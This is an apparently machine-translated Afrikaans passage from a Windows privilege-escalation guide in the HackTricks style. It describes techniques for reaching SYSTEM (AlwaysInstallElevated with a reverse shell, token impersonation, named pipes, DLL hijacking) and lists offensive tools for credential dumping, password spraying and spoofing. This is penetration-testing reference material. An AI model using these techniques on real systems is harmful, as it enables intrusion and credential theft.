Vanaf 'n Hoë Integriteit proses kan jy probeer om die AlwaysInstallElevated registerinskrywings te aktiveer en 'n omgekeerde skaal te installeer deur 'n .msi omhulsel te gebruik.
Meer inligting oor die betrokke register sleutels en hoe om 'n .msi pakket te installeer hier.

Hoë + SeImpersonate voorreg na Stelsel

Jy kan die kode hier vind.

Vanaf SeDebug + SeImpersonate na Volle Token voorregte

As jy daardie token voorregte het (waarskynlik sal jy dit vind in 'n reeds Hoë Integriteit proses), sal jy in staat wees om byna enige proses (nie beskermde prosesse nie) met die SeDebug voorregte te open, die token van die proses te kopieer, en 'n willekeurige proses met daardie token te skep.
Deur hierdie tegniek te gebruik, word gewoonlik enige proses wat as STSTEM loop met al die token voorregte gekies (ja, jy kan STSTEM prosesse vind sonder al die token voorregte).
Jy kan 'n voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind.

Genoemde Pype

Hierdie tegniek word deur meterpreter gebruik om te eskaleer in getsystem. Die tegniek behels om 'n pyp te skep en dan 'n diens te skep/misbruik om op daardie pyp te skryf. Dan sal die bediener wat die pyp geskep het met die SeImpersonate voorreg in staat wees om die token van die pypklient (die diens) te impersoneer en sodoende STSTEM voorregte te verkry.
As jy meer wil leer oor genoemde pype, moet jy hierdie lees.
As jy 'n voorbeeld wil lees van hoe om van hoë integriteit na Stelsel te gaan deur genoemde pype te gebruik, moet jy hierdie lees.

Dll Ontvoering

As jy daarin slaag om 'n dll te ontvoer wat deur 'n proses wat as STSTEM loop, gelaai word, sal jy in staat wees om willekeurige kode met daardie toestemmings uit te voer. Daarom is Dll Ontvoering ook nuttig vir hierdie soort voorregeskaling, en, bovendien, is dit baie makliker om vanaf 'n hoë integriteit proses te bereik aangesien dit skryfregte sal hê op die vouers wat gebruik word om dlls te laai.
Jy kan meer leer oor Dll ontvoering hier](dll-hijacking/).

Van Administrateur of Netwerkdienste na Stelsel

{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}

Van PLAASLIKE DIENS of NETWERK DIENS na volle voorregte

Lees: https://github.com/itm4n/FullPowers

Meer hulp

Statiese impacket binêre lêers

Nuttige gereedskap

Die beste gereedskap om te soek na Windows plaaslike voorregeskaling vektore: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Soek na konfigurasiefoute en sensitiewe lêers (kyk hier). Opgespoor.
JAWS -- Soek na moontlike konfigurasiefoute en versamel inligting (kyk hier).
privesc -- Soek na konfigurasiefoute
SessionGopher -- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoorde sessie-inligting. Gebruik -Deeglik lokaal.
Invoke-WCMDump -- Onttrek geloofsbriewe van Credential Manager. Opgespoor.
DomainPasswordSpray -- Spuit versamelde wagwoorde oor die domein
Inveigh -- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-die-middel gereedskap.
WindowsEnum -- Basiese privesc Windows opname
Sherlock ~~~~ -- Soek na bekende privesc kwesbaarhede (VEROUDERD vir Watson)
WINspect -- Plaaslike kontroles (Benodig Admin-regte)

Exe

Watson -- Soek na bekende privesc kwesbaarhede (moet saamgestel word met behulp van VisualStudio) (voorgekompilde)
SeatBelt -- Enumereer die gasheer op soek na konfigurasiefoute (meer 'n gereedskap vir inligting insameling as privesc) (moet saamgestel word) (voorgekompilde)
LaZagne -- Onttrek geloofsbriewe van baie sagteware (voorgekompilde exe in github)
SharpUP -- Omskakeling van PowerUp na C#
Beroot ~~~~ -- Soek na konfigurasiefoute (uitvoerbare voorgekompilde in github). Nie aanbeveel nie. Dit werk nie goed in Win10 nie.
Windows-Privesc-Check -- Soek na moontlike konfigurasiefoute (exe vanaf python). Nie aanbeveel nie. Dit werk nie goed in Win10 nie.

Bat

winPEASbat -- Gereedskap geskep gebaseer op hierdie pos (dit benodig nie toegangchk om behoorlik te werk nie, maar dit kan dit gebruik).

Lokaal

Windows-Exploit-Suggester -- Lees die uitset van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation -- Lees die uitset van systeminfo en beveel werkende exploits aan (lokale python)

Meterpreter

multi/recon/local_exploit_suggestor

Jy moet die projek saamstel met die korrekte weergawe van .NET (sien hierdie). Om die geïnstalleerde weergawe van .NET op die slagoffer-gasheer te sien, kan jy dit doen:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Bibliografie

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!